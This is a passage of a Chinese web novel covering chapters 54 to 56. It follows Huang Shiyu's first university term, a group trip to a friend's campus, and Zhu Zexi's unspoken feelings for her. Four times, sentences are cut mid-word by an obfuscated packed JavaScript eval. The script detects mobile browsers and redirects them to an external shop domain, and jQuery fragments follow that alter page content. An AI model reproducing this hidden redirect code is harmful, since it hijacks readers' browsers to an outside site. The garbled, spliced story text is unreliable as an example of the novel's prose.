黄时雨跳下床,三两下洗漱完毕,坐到餐桌边开始吃早餐。 “哎呀,明天就吃不到爸爸做的饭了哦,”黄爸爸故意拖长尾音,低头仔细观察黄时雨的反应。 “哎,确实,现在一走,就要等到寒假才能回来了,”黄时雨说着说着还真伤感起来,忍不住开始叹气。 “没事没事,爸爸妈妈有空也能来看你嘛,这次去要把宿舍收拾好,多多跟同学们交流,缺钱了就跟我们说,在外面不要太节约,知道吗?” 黄时雨喝牛奶的时候不方便说话,只好用疯狂点头来表明自己的态度。 “走了啊,爸爸妈妈拜拜!” 黄时雨拖着小行李箱,在门口跟爸爸妈妈最后拥抱了一下,才走出家门,在电梯里开始打车。 “要不……拼车吧,现在时间这么早,一个人打车感觉不太安全,而且还贵很多。” 黄时雨一边想着,一边打开打车APP,这个点打车的人不多,所以司机几乎算是秒接单。 “距离我只有500米,这么近,”黄时雨一从电梯里出来,就拖着行李箱在小区里狂奔,“得跑快点,不然等久了一会儿要让我加钱了。” 在门口刚一站定,打到的白色轿车就在面前停了下来,司机师傅主动下车帮黄时雨把行李箱放进后备箱,还把车门打开让黄时雨坐进去。 “谢谢师傅,”黄时雨上车后主动坐到另一侧。 “小姑娘,是不是去大学报道哇?” 黄时雨偏头打量了一下这个司机,这人虽然看起来面相还可以,但是出门在外,还是得留个心眼为好。 犹豫了一番之后,黄时雨只是勉强说了一个模糊的回答,“是出趟远门。” “哦好,”司机看黄时雨说话滴水不漏,知道她戒备心强,于是会意地点点头,不再跟她搭话。 黄时雨看了一眼时间,到高铁站还要半个小时,可以在车上眯一小会儿。 她调整了一下坐姿,头向后仰靠在座位上,外套拉链拉到锁骨处,双手交叉抱在胸前,收拾妥当正准备睡觉的时候,车又靠在路边停下了。 黄时雨的困意因为这突如其来的刹车消磨掉了一大半。 后备箱里很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄时雨站在站台第一排候车,祝则溪站在她身后。 这趟高铁等车的乘客看起来几乎都是学生模样,人均手边一个超大行李箱,每个人都面无表情地刷着手机,只要不是跟自己有关的事情,基本不会抬头。 虽然都是该上大学的人了,可是大家看起来还没有脱离高中状态,脸上的疲惫盖过了该有的兴奋。 随着高铁“哐当哐当”地进站,整个队列躁动起来,人群也开始缓慢向前移动,黄时雨的身边陆陆续续围满了人,大家都蓄势待发准备往上冲。 祝则溪见状稍微侧身,用行李箱和自己的半个身子一起给黄时雨圈出了一个安全区域,既不敢贴着黄时雨太近,也害怕周围人挤到她。 突然,一个追逐打闹的小男孩从侧面猛得冲过来,肩膀狠狠撞到了外侧的人,黄时雨被挤得站不稳,踉跄着向后倒去。 ——下一秒,祝则溪的手掌就已经牢牢托住了她的后背,他的指尖隔着薄薄的宽松T恤传来灼热的温度,另一只手下意识环住她的肩膀,像是要把人圈进怀里。 “没事吧?”祝则溪的声音有些发紧。 黄时雨慌忙起身,抬头时鼻尖几乎蹭到他的下巴,她立刻退开半步,低头整理被弄乱的衣服,“没事,谢谢。” 祝则溪的手悬在空中停顿了一秒才收回,指节无意识地摩挲着刚刚触碰过她的位置。 他的喉结动了动,最终却只是点点头,弯腰替她拉回行李箱,“以后小心点,万一……有一个人的时候呢?” 54. 第五十四次招惹 8月25日,津南大学新生报到日。 “苗苗,搞快点,一会儿天气会越来越热的,”吴笙笙坐在酒店床边,一边提前查看学校地图,一边催促着正在洗漱的黄时雨。 吴笙笙是坐火车到津南的,比黄时雨提前出发一天,自然也比她对周围的环境要更熟悉一些。 “马上马上,”黄时雨做事从来都是慢条斯理的,虽然嘴上说得好听,实际上还是按照自己的安排一点不着急地涂防晒,扎头发。 毕竟酒店就在学校斜对面,过个马路就到了。 这大学新生报到的阵仗真是大,一度将学校门口围了个水泄不通,黄时雨和吴笙笙拖着行李箱穿行在熙熙攘攘的人群中,才刚挤进校门,就汗如雨下。 “临床医学院,有没有临床的新生!” “历史学院!” “数院,数院在这里!” …… 两人绕开堵在门口的学长学姐,为了提高效率,打算先各自去找相应的学院报到。 “你好,这是我的录取通知书,”黄时雨在人文学院的展台前停下,从书包里找出录取通知书递过去。 “好的,”学姐认真核对了一下身份信息,热情地跟黄时雨握了握手,“来,这是你的宿舍钥匙,水卡和一卡通,前面右拐第三栋就是你的宿舍楼。” “好,谢谢学姐,”黄时雨微微鞠躬,拿上所有行李准备跟吴笙笙一起去找宿舍。 好巧不巧,黄时雨和吴笙笙的宿舍刚好在相邻的两栋楼。 “笙笙,这学校好大啊,走这么久都没看到一栋教学楼。” 吴笙笙打开手机地图,跟黄时雨指了指现在的位置,“你看,我们现在在这里,这一边全部都是宿舍,然后这边是学生活动中心,湖对面才是教学楼和实验楼。” 一直走到宿舍楼下,两人才依依不舍地分开。 “中午一起吃饭哦,笙笙!” 吴笙笙回头比了一个“OK”的手势,转身钻进了电梯。 黄时雨拿着宿舍钥匙,钥匙上缠着的布条写着“303”,不知道是不是因为马上要见到新同学有点紧张,黄时雨总是走几步就要看一眼宿舍号,仿佛年纪轻轻就已经患上健忘症了。 宿舍门没有锁,黄时雨轻轻一推就开了。 “你们好,”室友们都在各自收拾东西,黄时雨的出现立马吸引了她们的目光,大家一瞬间都暂停了手上的事。 “我叫黄时雨,来自满城,是个小县城,你们可能不知道。” “我知道我知道,”正趴在床上装床帘的女生探出头来,一脸激动地指着自己,“我是通林的,我叫方禾茹。” “我叫何妙妙。” “我叫许丹。” 黄时雨同她们一一打招呼,并把从家乡带来的零食都热情地分给大家吃。 由于黄时雨是最后一个来的,所以室友们都帮着她一块收拾书桌和床铺。很快,这个宿舍就变得整整齐齐,干干净净,有了和家一样的温馨感。 “谢谢你们。” “不客气,有什么需要帮忙的尽管说哦。” “好。” 黄时雨蹲下来,从箱子的夹层里拿出最后一个物品——立体书,撕掉出发前专门封好的膜布,仔仔细细检查了一遍,确认完好无损后,黄时雨把它放在了桌面最显眼的、正中间的位置,只要一抬头,黄时雨就能一眼看到它。 收拾妥当后,黄时雨拍了一张宿舍的全景照片发给爸爸妈妈汇报报到进度。 “我出去逛逛,先走了啊,”黄时雨换了一身衣服,跟室友们打过招呼后关上门走了出去。 正在楼下等吴笙笙时,黄时雨看到齐章年在群里发消息—— “你们学校都长什么样啊,发点照片来看看呗。” 黄时雨一向是很爱记录的,从进校门到宿舍的所有照片都拍了下来,于是专门选了几张有代表性的发到群里。 齐章年:(语音)啊啊啊啊我服了,你们条件怎么这么好,我这破学校连电梯都没有,我宿舍还在六楼,还是最旧的上下铺,我还在上铺,真的就是专门来吃苦的! 齐章年夸张和哀叹的语气让黄时雨感觉又心疼又好笑,点进他后面发过来的学校照片,黄时雨才惊觉,原来齐章年说的那些话并不是夸张。 黄时雨:(语音)没事儿,欢迎你们随时坐高铁过来玩,我接待你们俩! 祝则溪:(语音)好,我记住了。 祝则溪看群里没动静了才放下手机,看了一下周围还摆得乱七八糟的行李,估计是没时间去食堂吃午饭了,便让正准备出门的室友帮忙带一份饭回来。 ——“随便什么都行,麻烦你了。” “不麻烦,顺手的事,”刘俞凡答应得很爽快,门“砰”得一声被关上。 …… 祝则溪从行李箱里拿出最后一件衣服时,外套口袋里掉出了黄时雨去年送的那个信封。 信封的封口又被重新粘到了一起,信纸也叠得整整齐齐。 祝则溪赶紧把掉到地上的信封捡起来,轻轻吹走表面上粘的灰尘,又用纸巾小心翼翼地擦干净。 他拿着信封,在书架上找了半天,也没找到一个合适的摆放位置。 他不想摆得太明显,怕它会时时刻刻提醒他现在的身份,不要越界;也不想摆得太隐蔽,怕某一天真的彻底找不到它,哪怕近在咫尺,却也只能擦肩而过。 祝则溪犹豫再三,决定把它放在自己的美术工具箱中。 “祝则溪,你收拾完了吗,出来熟悉熟悉学校?” 祝则溪边吃饭边打字,“行,我还在吃饭,马上吃完了。” 三两口解决完午饭,祝则溪下楼找齐章年一起逛校园。 下午还有新生陆陆续续来报到,校门口来来往往的人依然是络绎不绝。祝则溪和齐章年为了躲避人流,选择从体育馆背后绕着走。 学校整体面积不大,但绿化环境做得相当好,到处都是绿茵大道,还有专门修建的荷花池,石塔,以及各种各样、风格各异的奇怪建筑物。除此之外,学校的小动物也跟人特别亲近,随处可见的小猫似乎正在等待投喂,池塘边的大鹅总是雄赳赳气昂昂地跟在路过的同学背后,冷不丁发出一声怪叫吸引住来来往往的同学们。 体育馆后面是篮球场区域,里面观战的人时不时爆发出一阵阵欢呼,两人的步伐也随之慢下来—— “祝则溪,你现在对黄时雨……是什么感情啊,真的放下了?” 看到篮球场里有篮球滚过来,齐章年弯腰捡起抛了回去,“接着!” 祝则溪闻言苦笑,望着篮球在空中甩出一道漂亮的抛物线,“没有,但是没放下又能怎么办呢,我能以朋友身份陪伴她也很好。” “不不不,”齐章年突然闭上眼,手指来回搓捻,像个神算子一样,“我感觉,她跟罗亦芃可能没在一起。” 祝则溪眼睛忽然睁大,然后又努力抑制住内心的躁动,好奇地问,“为什么?” 齐章年耸耸肩,“就感觉啊,谈恋爱的人总会有些变化嘛,比如会把更多的时间分给男朋友,会跟他戴情侣款的东西,或者在朋友圈里秀出来,但是这些,黄时雨都没做过,对吧?” 祝则溪按图索骥,在脑海里仔细思索,好像还真没有这些印象,“对对对,还有吗?” “还有啊,”齐章年眼睛一转,又想到了新的,“而且我感觉黄时雨不喜欢罗亦芃那样的。” 祝则溪刚亮起来的眼眸瞬间又暗下去—— “其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874492|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我觉得罗亦芃挺优秀的,学习也好,家庭条件也好……” “停!” 齐章年紧急打断祝则溪的自怨自艾,并及时纠正了他的错误认知,“优不优秀不是说的客观条件,而是对一个人的感觉,感觉懂不懂?” “感觉?” 祝则溪反复咀嚼着这两个字,最后得出结论,“感觉不出来。” “啧,虽然我也说不上是哪里来的这个感觉,但我就觉得你们俩气场很和,很配!” 祝则溪震惊地偏头,脸上写满了惊喜和激动,“真的?” “当然,我骗你干嘛!” 自从上了大学,“一中小分队”的群聊消息就没断过,谁加入了什么社团,参加了什么比赛,遇到了什么烦心事,碰见了什么好吃的、好玩的都会在群里分享,每个人都像有了一个分身一样,在另一个学校替自己感受别样的风景。 黄时雨属于社团参加得比较多的,基本除了睡觉,在宿舍几乎是看不到人影的,因此一直被方禾茹评价为“与宿舍感情淡薄”,但黄时雨始终拒绝承认这个标签。 当然,在所有社团中,黄时雨最喜欢的还是辩论社。 毕竟这是她从小到大为数不多自主选择的爱好,怎么能不继续在大学里发扬光大呢? “黄时雨,你来说一说你对这个辩题的看法吧。” 每周星期三,是辩论社的例会时间,黄时雨周周不落,次次到场,成为了全辩论社参与度和活跃度最高的社员,社长也对她照顾有加。 听到社长叫自己的名字,黄时雨立刻放下手中的笔站起来,自信流利地说出自己的观点。 “……以上就是我的全部看法,谢谢。” “很好,坐下吧,”社长温和地点点头,继续抽查其他新社员回答。 从活动教室出来已经快十点了,黄时雨的宿舍离得还比较远,她在路边扫了一辆小黄车,坐在上面戴好耳机后,才蹬腿往宿舍方向骑。 今晚的月色真美。 黄时雨专门沿着学校最外环骑车,就是想多感受感受大学校园里的宁静时刻。 路边月季花的枝叶伸得老长,像是专门要跟骑行的黄时雨打招呼,又好像是故意想让黄时雨驻足。 黄时雨脚点地刹住车,凑到月季花前找好角度认认真真拍了一张,“祝则溪,你看,像不像满城一中操场上的月季花?” 祝则溪放大图片,那朵月季花正鲜艳地开着,娇艳欲滴,在月色的映照下笼上一层静谧的氛围。 “确实很像。” “但也有一些不同,”祝则溪在对话框里打出后半句话。 他看着对话框里的这几个字,笑容中露出苦涩,他很想尽力以一个普通朋友的心态跟黄时雨交流,但每当真正需要实操的时候,祝则溪又一点都做不到,就像变成了一个矛盾体,不管怎么做,都没办法权衡。 他做不到只是就事论事,不更多关心她的生活; 也做不到对黄时雨的感情不闻不问,顺其自然…… 甚至有的时候连祝则溪自己都会感到困惑,明明她已经有男朋友了,为什么我还是恋恋不忘,明明我已经亲眼目睹了当时的表白现场,为什么还是割舍不下? 黄时雨还在对面继续发来新消息,祝则溪总是只能在脑海里挑挑拣拣,找出最合适的语句发出去,其他不合时宜的话,就永远留在自己的心里吧。 两人就这么断断续续地聊着天,一直到黄时雨洗漱完躺到床上。 “下周周末,我刚好没别的事,可以来你们学校找你们玩吗?” ——“可以,我到……” 祝则溪字斟句酌,高铁站?地铁站?还是直接去津南大学接她? ——“可以,我到我们学校门口接你。” 55. 第五十五次招惹 “黄时雨,你东西很多吗?” 刚下课回到宿舍,黄时雨就迫不及待地开始收拾行李,“有点。” “你要去新申几天啊,还要拿行李箱,”方禾茹走过黄时雨身边时,看到黄时雨正把一堆护肤品、衣服、饰品往里放时,好奇地蹲下身。 黄时雨一边叠衣服一边头也不抬地回答,“星期天下午回来,也就差不多两天。” 许丹听完在一旁啧啧摇头,“不怀好意”地感叹道,“哎呀,人家妙妙见男朋友都没带这么多东西哦,你确定只是去见好朋友?” 黄时雨在宿舍确实经常跟祝则溪聊天,为此受到了无数次室友们的调侃,尽管黄时雨每次都会疯狂解释,但其他人的阴阳怪气反而会因此变本加厉。 “对,好、朋、友!” 黄时雨把箱子立起来,看时间差不多了,在室友们揶揄的目光中走到宿舍门口转身,“别胡说啊你们,我先走啦!” 这趟高铁七点发车,黄时雨和吴笙笙悠悠闲闲过去的时间都绰绰有余。 刚开学的第一个月实在太忙了,各个方面都需要适应,不管是学习上还是生活上,特别是对于黄时雨这种几乎从来没有离家这么远过的人来说,简直就是一整个生存大挑战。 偏偏大一的课程还很多,黄时雨天天忙得脚不沾地,跟爸爸妈妈的联系时间都少了很多。 “笙笙,我睡会儿啊,你在群跟他们里说一声吧,就说我们已经上车了。” 黄时雨调整了一下姿势,把头轻轻靠在吴笙笙的肩上,闭上眼睛。 “好,”吴笙笙坐得更直了一些,右手快速打字。 也许是最近太疲劳了,短短半小时的时间,黄时雨居然连续做了好几个梦,但这些梦无一例外都是高中时期的事情。 “本次列车的终点站为新申,请各位旅客带好自己的随身物品,准备下车!” 黄时雨迷迷糊糊地睁开眼睛,连续打了好几个哈欠才取下行李,随着人群流向车外。 坐完高铁还有地铁,两人靠在彼此身上靠聊天消磨无聊的坐车时光。 “终于到了!” 黄时雨和吴笙笙到达一个新地方的热情就快要在长长的乘车过程中消失殆尽时,终于到站了。 “黄时雨,吴笙笙!” 黄时雨和吴笙笙还在学校对街,齐章年开始用那充满穿透力的大嗓门跟两人打招呼。 “听到啦,我们都听到啦!” 黄时雨也不甘示弱,用力大声吼了一嗓子,像是非要在大嗓门这件事上跟齐章年争个高低。 穿过马路,四个人终于在高中毕业之后完成了第一次线下聚齐。 祝则溪又戴着他的白色口罩,暴露在口罩上方的眼睛露出一个标准的弯月型,侧身让黄时雨和吴笙笙走在前面,“我们走吧。” “你们学校好漂亮啊,特别是这个大门,太气派了吧,”黄时雨仰头指着设计感超强又充满气势的大门赞不绝口。 “对,我也觉得很好看,而且好像还有点特殊的来历,入学的时候讲过,不过我没记住,”祝则溪有些歉意地笑了笑,顺手把手放到了黄时雨的行李箱拉杆上。 当祝则溪意识到自己的行为不妥时,黄时雨的手已经松开了。 “你要帮我推吗,谢谢你哦,”黄时雨的脸上没有一点尴尬的表现,她自然大方地冲祝则溪一笑,转头问大家—— “咱们晚上吃什么呀,应该每一个学校都有小吃街吧?” “当然啊,”齐章年对学校周围的情况如数家珍,“走,我带你们去,那边可以选择的餐厅很多,什么都有!” 果然,小吃街的人气名不虚传。 这条小吃街附近有三所大学,每天下午和晚上都是人流高峰期,穿过小吃街口两边的小摊,再往里走,就是各种烧烤、火锅和烤肉店。每路过一家店门口,不论是否驻足,揽客的老板总会热情地拉着介绍,问你有几个人,吃点什么,可以坐哪。 一行人在小吃街上来回走了好几圈,也没人出来拿主意到底吃什么。 “既然你们都无所谓,那就我来定吧,我们就吃火锅怎么样?” 吴笙笙提出建议,另外三人立刻附和—— “行!” 找了一家生意看起来最火爆的火锅店,四个人一起进去找了个靠里的位置坐了下来。 黄时雨刚坐下就拿出手机,想着看看班群里有没有发什么重要通知。 “妈呀,你们看朋友圈了吗,”黄时雨把手机屏幕亮给大家看,都快激动得语无伦次了,“快看快看,小赵姐,官宣了!” 黄时雨的音量陡然加大,惹得邻桌的好几个顾客都忍不住转身侧目。 “啊?!” 吴笙笙和祝则溪也异口同声地叫了出来。 “是真的,多么般配的一张合照!” 果然,人类的本质是吃瓜,几人难以置信的惊叹声一阵高过一阵。 “冷静,冷静,”齐章年作为最不熟悉小赵姐的人,显得比另外三人淡定许多。 吴笙笙连忙放大照片仔细看了看,压低声音问,“这个男生是谁啊,我好像没见过。” “是熊毅丰,二班的。” “之前高二那场辩论赛的二辩,”祝则溪继续补充。 “不是,高中你们都没有人看出来吗?”齐章年一脸不解,“这种肯定早就有苗头了啊。” “没有。” “没有。” 齐章年最后看向黄时雨,黄时雨脸上那副“早有预感”的表情早就出卖了她的内心,“不瞒你说,我早就看出来了。” 黄时雨得意地挑了挑眉,招手让另外三个人的脑袋凑过来,“那次我们讨论辩题的时候,小赵姐就专门把电影票和熊毅丰买到邻座,还把我和祝则溪支开,那个时候我就看出来了,他俩很有问题!” 一旁的祝则溪也应声附和,“确实,那一次特别明显。” 吃饱饭,黄时雨忽然提出想去校园里逛一逛,“我们可以进去吗?” 祝则溪走上前,跟保安大叔说明了情况,得到允许后,转身冲黄时雨和吴笙笙点点头,“进来吧。” 暮色四合,校园里的路灯次第亮起,将这条通往图书馆的路染成了一条暖黄色的光河,远处传来的下课铃声惊动了几只栖息在香樟树上的麻雀。 “再走这么久,学校就逛完了哟。” 黄时雨四下看了一圈,略带惊讶地说,“一开始你们说学校小我还不以为然,没想到还真的挺小的。” “对啊,”祝则溪忽然抬头,指着左边那栋楼,“这就是我的宿舍楼,没有电梯的。” 祝则溪故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881954|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意把最后几个字咬得很重。 祝则溪和齐章年已经对“没有电梯”这件事恨之入骨了,从入学的第一天就开始吐槽,一直到现在,都无法接受这个残酷的事实。 “还有四年时间呢,没准哪天学校就翻新了,对吧?” 四个人绕着学校外圈走了两圈,又重新回到校门口。 “送你们回酒店吧,”祝则溪刚想跟着黄时雨走出去,就被黄时雨直接拦下了。 “我们酒店就在旁边,很近很近,不用送了,”这一天饭钱也没出,行李也没自己拿,还要别人送的话,黄时雨实在是觉得不太合适。 “没关系……” 突然,黄时雨的手机响了,掏出手机时,上面的来电显示为——罗亦芃。 “等我一下,我接个电话。” 黄时雨虽然有点疑惑,但害怕对方真的有什么重要的事,于是接通后快步走到一旁,“喂,罗亦芃……” 电话那头好像在车站,背景嘈杂得快要听不清了,“黄时雨,你在学校吗,我有一个活动要去津南,现在刚到。” “那有点不巧,我来新申了,周天下午才回去。” “噢,”罗亦芃的声音一瞬间低下去,“那行吧,那你好好玩。” “好,那就下次见!” 黄时雨说完后就立刻挂掉电话,回头时发现只剩吴笙笙一个人站在她身边。 她转头在其他方向寻找另外两人的身影,却均以失败告终。 “他们……走了吗?” “对啊,在你接电话的时候走的,”吴笙笙一眼就看出来了黄时雨眼底的遗憾,她试探性地问,“其实,你还是想让祝则溪送你,对吧?” 黄时雨被这突如其来的直率吓了一跳,“嗯……也没有,时间不早了,快回酒店……” “没事,我不是那种八卦的人,”夜晚的风带有一丝凉意,两人的身影被拉长又缩短,黄时雨听到身边的吴笙笙在轻轻叹气,“我只是想知道,你对祝则溪到底是不是真的喜欢,是真的对他这个人有喜欢的感觉呢,还是只是被他的某些行为或语言感动到了?” 黄时雨的表情有一瞬间的愣住。 在她看来一直沉迷学习,从不过问感情的吴笙笙,怎么会突然问出这样的问题? “……确实是有一些感动的成分,真的。” 吴笙笙也并没有很意外,只是两个人的脚步同步地慢了下来,“我有一个亲戚家的姐姐,我有时候也会跟她聊天,她告诉我,她曾经有一段感情,就是因为感动于男生的行为而选择同意跟他在一起的,但是在一起之后,男生对她就再也没有这么上心了,而她自己也不知道这段感情的意义在哪里,所以最后没过多久就分手了。” 黄时雨张了张嘴,却不知道该说些什么。 黄时雨和吴笙笙在红灯前停下,街道上川流不息的车辆在黄时雨眼里都像被涂鸦笔抹去了一样,她现在的脑子里,全是吴笙笙刚刚说的那一番话。 “所以,你一定要认真想清楚这个问题的答案哦,”吴笙笙轻轻拍了拍黄时雨的后背,示意她该过马路往前走了,“毕竟,只有两个人都相互喜欢的感情才能走得长远。” 黄时雨伸手握住了吴笙笙的手,轻轻抬睫,用只有两个人能听到的音量认真地回答,“好,我会认真思考的。” 56. 第五十六次招惹 都说大学生的期末月是最难熬的,黄时雨此时深有体会。 尽管黄时雨已经属于那平时会认真听讲和完成作业的那一批学生了,但社会学这门专业的背诵量还是超出了黄时雨的想象。 每天早上,两眼一睁就跑到图书馆占座,晚上必须等到图书馆闭馆才往宿舍走。 “黄时雨,起床了,你今天不去图书馆了吗?” 黄时雨迷迷糊糊睁眼,看到方禾茹正隔着床帘,伸进来一只手焦急地拍打床边的栏杆。 “几点了?” “都八点半了,那俩早就出门了,就剩咱俩了,”方禾茹说完就往卫生间走,“你快点啊,不然一会儿图书馆抢不到座位。” 黄时雨看到时间的那一刻瞬间惊醒,她抓起床边的衣服裤子匆忙换上,边下床边懊恼地抓头发,“完了完了,明明都坚持了这么长时间了,怎么还会犯这种低级错误啊!” 黄时雨快速洗漱完,随手扎了个低马尾,拎起书包就往图书馆狂奔,途中还不忘啃几口在便利店刚买的面包。 “苗苗,你过来了吗,我马上要进去了。” 听到吴笙笙的催促,黄时雨加快了步伐,“马上到了,你先帮我占个位置,我最多五分钟就到!” “好,还是老地方,”吴笙笙答应得干脆利落。 除了那一次小插曲之外,总体来说,黄时雨的期末月度过得还算顺利。 争取每学期都拿到奖学金,是黄时雨给自己定下的学习目标,毕竟绩点与升学和求职直接挂钩,黄时雨深知它的重要性。 最后一门考试结束,黄时雨回到宿舍放下书包的那一刻,心才终于落了地,“天呐,终于考完了,你们看我这黑眼圈好重啊。” 何妙妙:“别说了,我黑眼圈更明显好吧,连前置摄像头都拍得出来了。” 黄时雨拿起手机,刚想在群里问问祝则溪和齐章年期末考试结束了没,忽然想起吴笙笙还在图书馆苦命地复习,等待最后两门的考试。 算了,这对吴笙笙来说太不友好了,思来想去,黄时雨最后还是点进了与祝则溪的单人聊天界面。 ——“小祝同学,你考完试了吗?” 祝则溪手里的手机忽然震动,看到是黄时雨发来的消息,立刻回复,“还有一门明天考,你呢?” “我刚刚考完。” 祝则溪此时正在辅导员办公室,趁老师讲安排时,偷偷摸摸低头回复黄时雨发来的消息,自以为自己的动作十分隐蔽,无人察觉。 “祝则溪,你等一下再回消息可以吗?” 辅导员的语气听起来有点生气,祝则溪闻言赶紧把手机收起来,跟辅导员对视一眼后抱歉地点点头。 “不好意思,老师。” 辅导员也没多说什么,眼神从祝则溪身上挪开,继续讲这次活动的具体安排,“这次的这个美术交流活动,下学期开学之后正式开始,也就是三月份左右,这次跟我们进行交流的学校是津南大学,到时候学校带着大家一起过去,一共交流三天的时间,时间上大家都没问题吧?” 津南大学?! 祝则溪听到这个名字时瞳孔忽然睁大,心跳猛烈地加速,指节不自觉地攥紧了衣角。 辅导员还在继续讲着此次活动的注意事项,可祝则溪的心思已经飞了出去:或许可以提前给黄时雨说一声,又或许可以直接来个惊喜。总而言之,可以在津南大学待上三天时间,就算没有太多相处的机会,能远远地看一眼,或是随便说几句话,也未尝不是一件好事。 祝则溪微微上扬的嘴角被辅导员一眼捕捉到,“祝则溪,你有什么问题吗?” 祝则溪立马抬头,收起笑容,眼神里是满满的憧憬,“没有没有,我一定好好准备!” 从辅导员办公室出来,祝则溪的第一件事就是回复黄时雨的消息—— “那你是不是要回满城了,打算什么时候回去?” “后天,我已经买好机票了。” “好,”祝则溪立刻切换到购票软件,查询到这趟飞机是早班机,于是又专门补充了一句提醒,“一个人坐飞机注意安全。” 刚发出去祝则溪就后悔了,她现在怎么会是一个人呢? 他赶紧把手机朝下倒扣在桌面上,紧张得连续做了好几个深呼吸,她肯定会和罗亦芃一起回满城不是吗,再不济也会和吴笙笙一起回去的,怎么样都不可能是独自一人啊。 祝则溪在心里为自己的莽撞后悔至极。 如果她真的来一句“我和我男朋友一起回”该怎么办,祝则溪不敢再往下想了,只要黄时雨没有主动说,他就可以假装什么都不知道,假装对此事毫不知情,然后继续当个普通朋友跟她交往。 黄时雨很快回复,“嗯好。” 祝则溪看着屏幕上这简单的两个字,心中的大石头终于落地了,只要一天没从黄时雨的嘴里蹦出“男朋友”这三个字,对于祝则溪来说,就是一种只有他一人享用的精神胜利。 只不过从今年开始,祝则溪应该就不太会回满城过年了。 他已经提前向学校申请了寒假留校,又通过一位直系学长的介绍找到了一份合适的家教工作,下个星期就正式开始。 没有伞的孩子需要早点学会奔跑,这是祝则溪很小就明白的道理。 而对于已经回到满城的黄时雨,这也是一个相当无聊的新年。 吴笙笙留校不回家。祝则溪当家教去了不回家,唯一回到满城的齐章年在老家,除了跟亲戚们吃饭聊天,黄时雨一天天根本不知道还有什么事情可做。 “居然连过年这件事都变得没意思了,”黄时雨躺在沙发上对自己心态的转变感到震惊,难道这就是变成大人的代价吗? 于是,黄时雨跟爸爸妈妈说明了情况,提前几天就回到了学校。 学校里还很冷清,只是偶尔从教学楼里涌出几个人影,整个校园还沉浸在冬日的寂静中,孤零零的树枝、干涸一片的草地,都在一同等待着学生们的到来把它唤醒。 往宿舍走时,路过礼堂,一群工人正围在一起布置展板。 “美、术、交、流、大、赛,”黄时雨从头到尾认认真真地看了一遍展板上的介绍,尽管对美术了解不多,但黄时雨的好奇心却依然十分强烈。 她的目光继续往下移,“津南大学&新申美术学院”几个大字映入眼帘,黄时雨像被使了定身法一样僵在原地。 几秒过后,黄时雨才想起拿出手机问问祝则溪。 ——“你知道这个活动吗?” 黄时雨把展板图片也一并发过去。 “我知道,而且我要参加。” 黄时雨非常满意,快速打字,“好诶,那我就浅浅期待一下我们小祝老师的精彩表现吧!” 祝则溪刚放下手机,就收到了家长转来的寒假补习费,家长表示老师很负责,孩子的学习状态也非常好,之后如果有机会会向其他家长推荐的。 祝则溪看着家长发来的感谢的话语,心里涌起一股暖流。 他收下钱,对家长的认可表示感激,又扫了一眼左上角的日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894467|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 期。 离3月22日不远了,祝则溪对这个时间已经产生了生理性的敏感,毕竟是已经坚持了快七年的习惯,怎么可能说改就改? 今年还要给黄时雨准备生日礼物吗,祝则溪在心里一遍一遍问自己。 不送? 送? 送! 祝则溪似乎根本没有产生过不送的想法,就算只是好朋友,过生日也可以送礼物吧,就像初中那几年一样,默默做自己觉得正确的事情就可以了。 于是今年,又和无数个往年一样,祝则溪又开始了他的礼物准备计划,只是这一次,它仅仅只代表最普通的友谊。 “苗苗,在忙吗?” 黄时雨刚刚下课,妈妈的微信消息就这么巧合地发过来了。 “我刚下课,妈妈,怎么了?” 黄妈妈立刻发来了一张图片,是一张快递单,“我给你寄了点满城特产,想着你可以跟室友们分着吃,可能后天就到,你记得去取啊。” “噢噢好的,谢谢妈妈,那我先去吃饭啦!” 黄时雨一边回复,一边往食堂跑,这可正是饭点,要是去晚了真的很难找到座位。 刚走上二楼,黄时雨一眼就看到正背对着自己坐在食堂入口的吴笙笙,那件黑白格子外套在一众白色、黑色衣服里显得特别扎眼。 “笙笙,”黄时雨在吴笙笙对面坐下,今天中午吃鸡公煲,她已经提前帮黄时雨打好饭了,“你今天来得这么早啊?” 吴笙笙咬了一口鸡肉,“因为我今天上午没课的嘛,就想着早点吃饭。” 